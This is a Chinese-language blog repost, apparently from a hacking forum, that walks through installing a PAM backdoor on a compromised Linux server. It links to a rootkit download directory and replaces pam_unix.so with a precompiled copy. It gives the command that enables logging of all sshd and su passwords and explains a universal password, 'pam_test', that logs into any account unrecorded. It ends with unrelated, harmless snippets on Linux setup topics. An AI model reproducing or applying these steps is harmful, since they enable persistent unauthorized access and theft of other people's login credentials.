linux pam后门来自ejej
http://204.210.154.31/RootKits/
1.安装
编译好后,cp过去文件即可
有的发行版本,会自己做自己的发行版so,所以一般来说,我们都先在自己机器上编译好后门传上去
linux一般来说发行版比较多,所以我们在安装后门之前,最好在本地搭建个类似的环境实验,这样不容易丢鸡
我现在要安装后门的机器是fc4 具体内核没啥限制 应用层后门就这点好,呵呵
安装
我已经编译好了
安装完毕,那个so穿上去就行了
这是我们的后门
注意吧pam_unix.so文件的属性改的和别的so属性一样。我这里本来就是一样的,我就不改了。
OK,安装完毕
现在看看他有什么功能
1.记录密码
这个后门可以记录所有登录sshd的用户密码,以及su的密码,默认,没开启记录功能。开启方法如下
我们开启
touch /usr/tmp/.suuser ;chmod a+w /usr/tmp/.suuser
我们密码就记录在这个文件中
OK,我们现在登录下看看
我的root密码就是test
还可以记录su密码 我现在登录root 因为有两个认证过程,所以都记录下来了
他还提供一个登录万能密码的功能 万能密码是pam_test
我们输入pam_test
登录了吧,而且万能密码不会被记录
还是原来两项,呵呵
这个万能密码对于限制root登录的机器非常有用,有的机器禁止root登录,我们使用pam_test这个密码可以登录任何账户
输入pam_test 然后su 输入pam_test
记录都没变,呵呵
以上的演示都是在FC4默认安装下做的,ssh开启了PAM验证 ,默认linux都是开启的
他还可以登录ftp 随便的账户,用万能密码就可以
我机器没装,就不演示了,你可以自己测试
完 。。。
http://www.t00ls.net/thread-5703-1-1.html?jdfwkey=iilmz3
相关文档:
一:前言
最近在研究android的sensor driver,主要是E-compass,其中用到了Linux input子系统.在网上也看了很多这方面的资料,感觉还是这篇分析的比较细致透彻,因此转载一下以便自己学习,同时和大家分享!
(这篇博客主要是以键盘驱动为例的,不过讲解的是Linux Input Subsystem,可以仔细的研究一下!)
键盘驱动将检 ......
http://blog.csdn.net/compiler_hdz/archive/2006/01/10/575113.aspx
先看一个“hello world!”的例子:
在某个目录下新建一个文件,叫hello.sh,敲入以下代码:
#!/bin/sh
echo "hello world!"
好,就这些。保存,在命令提示符下进入保存“hello.sh”的目录,这样执行:
......
在linux下面安装mysql,首相要根据操作系统的版本,选择对应的mysql的版本,官方网站上有非常明确的分类
http://dev.mysql.com/downloads/
在这里我实验的操作系统是redhat linux
mysql 用了两个安装包,一个是server端,一个是client,我用的是rpm包,安装的指令比较简单。
MySQL-server-community-5.1.42-0.rhel4.i38 ......
[本文转自]http://www.scmlife.com/index.php/214/dp-bbsthread-21094.html
附件文档大纲:
环境
1.安装Apache2.2.14
2.安装Subversion
1.6.6
3.安装后的系统设置
4.Apache设置
5.svn库的配置
6.运行SVN服务器
环境:
Red Hat Enterprise Linux Server release 5.3
(Tikanga)
httpd-2.2.14.tar.gz
subversi ......
首先要安装samba
sudo apt-get install samba
sudo apt-get install smbfs
1.windows 访问 ubuntu
下面我们来共享群组可读写文件夹,假设你要共享的文件夹为: /home/ray/share首先创建这个文件夹
代码:
mkdir /home/ray/share
chmod 777 /home/ray/share
备份并编辑smb.conf允许网络用户访问
代码:
sudo cp /etc ......